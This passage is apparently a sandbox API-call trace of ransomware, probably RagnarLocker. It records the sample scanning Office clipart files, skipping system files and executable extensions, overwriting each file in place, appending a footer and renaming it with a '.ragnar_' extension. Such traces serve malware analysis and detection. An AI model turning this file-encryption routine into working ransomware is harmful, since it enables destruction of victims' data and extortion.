lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.238] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.238] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.238] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.238] GetProcessHeap () returned 0x580000 [0082.238] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.238] CloseHandle (hObject=0xf4) returned 1 [0082.238] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" [0082.238] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.ragnar_FD7BD9FC" [0082.239] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.244] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0082.244] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.244] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00799_.WMF" | out: lpString1="FD00799_.WMF") returned="FD00799_.WMF" [0082.244] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned=".WMF" [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="autorun.inf") returned 1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="boot.ini") returned 1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="bootfont.bin") returned 1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="bootsect.bak") returned 1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="bootmgr") returned 1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="bootmgr.efi") returned 1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="desktop.ini") returned 1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="iconcache.db") returned -1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="ntldr") returned -1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="ntuser.dat") returned -1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="ntuser.ini") returned -1 [0082.244] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="thumbs.db") returned -1 [0082.244] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.244] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.244] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.244] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.244] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.244] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.244] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x20 [0082.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.245] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13968) returned 1 [0082.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3687, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.245] GetProcessHeap () returned 0x580000 [0082.245] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.245] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.246] VirtualAlloc (lpAddress=0x0, dwSize=0x3690, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.246] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.246] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.246] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3690, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3690, lpOverlapped=0x0) returned 1 [0082.247] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.248] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3690, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.248] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3690, lpOverlapped=0x0) returned 1 [0082.248] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3690, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.248] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3690, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.248] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.248] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.248] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.248] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.248] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.248] GetProcessHeap () returned 0x580000 [0082.248] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.249] CloseHandle (hObject=0xf4) returned 1 [0082.249] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" [0082.249] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.ragnar_FD7BD9FC" [0082.249] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0082.249] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.249] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00814_.WMF" | out: lpString1="FD00814_.WMF") returned="FD00814_.WMF" [0082.249] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned=".WMF" [0082.249] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.249] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="autorun.inf") returned 1 [0082.249] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="boot.ini") returned 1 [0082.249] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="bootfont.bin") returned 1 [0082.249] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="bootsect.bak") returned 1 [0082.249] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="bootmgr") returned 1 [0082.249] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="bootmgr.efi") returned 1 [0082.249] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.249] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="desktop.ini") returned 1 [0082.249] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="iconcache.db") returned -1 [0082.249] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="ntldr") returned -1 [0082.250] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="ntuser.dat") returned -1 [0082.250] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.250] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="ntuser.ini") returned -1 [0082.250] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="thumbs.db") returned -1 [0082.250] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.250] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.250] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.250] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.250] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.250] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.250] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x20 [0082.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.250] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42704) returned 1 [0082.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa6c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.250] GetProcessHeap () returned 0x580000 [0082.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.250] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.252] VirtualAlloc (lpAddress=0x0, dwSize=0xa6d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.253] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa6d0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa6d0, lpOverlapped=0x0) returned 1 [0082.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.254] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa6d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.254] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa6d0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa6d0, lpOverlapped=0x0) returned 1 [0082.255] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa6d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.255] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.255] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa6d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.255] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.255] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.255] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.255] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.255] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.255] GetProcessHeap () returned 0x580000 [0082.255] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.255] CloseHandle (hObject=0xf4) returned 1 [0082.256] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" [0082.256] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.ragnar_FD7BD9FC" [0082.256] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0082.256] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.256] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00965_.WMF" | out: lpString1="FD00965_.WMF") returned="FD00965_.WMF" [0082.256] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned=".WMF" [0082.256] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.256] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="autorun.inf") returned 1 [0082.256] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="boot.ini") returned 1 [0082.256] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="bootfont.bin") returned 1 [0082.256] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="bootsect.bak") returned 1 [0082.256] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="bootmgr") returned 1 [0082.256] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="bootmgr.efi") returned 1 [0082.256] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.256] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="desktop.ini") returned 1 [0082.256] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="iconcache.db") returned -1 [0082.257] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="ntldr") returned -1 [0082.257] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="ntuser.dat") returned -1 [0082.257] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.257] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="ntuser.ini") returned -1 [0082.257] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="thumbs.db") returned -1 [0082.257] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.257] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.257] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.257] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.257] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.257] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.257] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x20 [0082.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.258] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15164) returned 1 [0082.258] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.258] GetProcessHeap () returned 0x580000 [0082.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.258] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.259] VirtualAlloc (lpAddress=0x0, dwSize=0x3b3c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.260] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3b3c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3b3c, lpOverlapped=0x0) returned 1 [0082.260] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.261] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b3c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.261] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3b3c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3b3c, lpOverlapped=0x0) returned 1 [0082.261] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b3c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.261] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.261] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.261] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.261] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.261] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.261] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.261] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.261] GetProcessHeap () 